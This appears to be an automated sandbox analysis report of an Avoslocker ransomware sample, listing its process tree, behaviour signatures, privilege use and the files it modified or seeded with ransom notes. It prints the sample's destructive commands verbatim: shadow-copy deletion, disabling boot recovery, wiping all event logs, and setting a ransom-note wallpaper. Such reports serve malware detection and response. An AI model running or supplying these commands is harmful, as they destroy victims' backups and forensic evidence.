PID 1712 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1712 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1712 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2384 wrote to memory of 3848 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 2384 wrote to memory of 3848 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 2384 wrote to memory of 3848 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 2384 wrote to memory of 3636 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 2384 wrote to memory of 3636 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 2384 wrote to memory of 3636 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe

"C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe"

C:\Windows\system32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\system32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\system32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2114547645.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

N/A

Files

memory/1712-0-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-3-0x00000000001D0000-0x0000000000213000-memory.dmp

memory/1712-6-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-8-0x00000000002A0000-0x00000000002A1000-memory.dmp

memory/1712-1-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-7-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-4-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-5-0x0000000000401000-0x000000000049D000-memory.dmp

memory/1712-2-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-9-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-10-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\GET_YOUR_FILES_BACK.txt

MD5 36d08e3dadf813cefd755ba410908b16
SHA1 3ec7b14da6eaaf24f99be6c68301a6a7d05e6e5a
SHA256 4b38c6732593914ff892b2ed9fd337d4fa3cac8df096bae3fc532e606b3d1752
SHA512 8828d2f7cd763dfafff76f28ed990498a241ae6abace6fa7ce96060672216143d6c5a92eef8eacdf1060ae239c275571640328452b2e516ed90d8c14b245c52e

memory/3656-667-0x000000001B7F0000-0x000000001BAD2000-memory.dmp

memory/3656-762-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

memory/1712-12828-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-18936-0x0000000000401000-0x000000000049D000-memory.dmp

memory/1712-18933-0x00000000001D0000-0x0000000000213000-memory.dmp

memory/1712-18914-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/1712-24506-0x00000000001D0000-0x0000000000213000-memory.dmp

memory/1712-24507-0x0000000000401000-0x000000000049D000-memory.dmp

memory/1712-24505-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 4c6a17abe24e6c9b1011e7791b05b7f9
SHA1 43f816186a00833788399e2085dc25243966b2f2
SHA256 01c56b2b5d1c6ef2f9f8c1760ef6e57b71e162d166b93c957d0244857e45fb6d
SHA512 276f6f5e8b60f313ac35e12bf0443bd86219d28f1d05332b3d1243430216e25909bbaad9d6db05fbf285614474aff2033f049b4545ce1c0180696fee485439d3

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/2384-24515-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

memory/2384-24514-0x000000001B8A0000-0x000000001BB82000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 07:39

Reported

2024-05-31 07:41

Platform

win10v2004-20240508-en

Max time kernel

134s

Max time network

141s

Command Line

"C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe"

Signatures

Avoslocker Ransomware

ransomware avoslocker

Deletes shadow copies

ransomware defense_evasion impact execution

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (8461) files with added filename extension

ransomware

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1513918393.png" C:\Windows\system32\reg.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\thaidict.md C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\sk-sk\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\en-il\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\EmptyView.scale-400.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Windows Media Player\fr-FR\setup_wm.exe.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription1-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\Snooze.scale-64.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\VideoLAN\VLC\lua\http\css\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProVL_KMS_Client-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\en-GB\tipresx.dll.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\tr-tr\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\rhp_world_icon.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptySearch-Dark.scale-125.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\models\mail.config C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\EmptySearch-Dark.scale-100.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\de-de\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\arrow-up.gif C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\export.svg C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_Retail-ul-phn.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessPipcDemoR_BypassTrial365-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\ro-ro\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\he-il\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\BOMB.WAV C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\MEDIA\SUCTION.WAV C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sv-se\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ca-es\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Windows Defender\it-IT\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\THMBNAIL.PNG C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-ae\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\rhp\createpdfupsell-app-tool-view.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\FileAttachmentPlaceholder.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\offsymt.ttf C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest4-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPoint2019VL_KMS_Client_AE-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Internet Explorer\ie9props.propdesc C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_ellipses_selected-hover.svg C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\VideoLAN\VLC\locale\id\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\ICE\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGMN001.XML C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Internet Explorer\de-DE\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\Doughboy.scale-125.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\7-Zip\readme.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\LinkedInboxMediumTile.scale-200.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RMNSQUE\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalPipcR_OEM_Perp-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\fil.pak C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nb-no\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\zh-cn\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\zh-cn\ui-strings.js C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\ExchangeBadge.scale-125.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\fr-FR\msaddsr.dll.mui C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOnNotificationInAcrobat.gif C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-white\HxA-GoogleCloudCacheMini.scale-125.png C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\vfs\Fonts\private\GARA.TTF C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusR_SubTrial1-ppd.xrm-ms C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
File created C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\GET_YOUR_FILES_BACK.txt C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
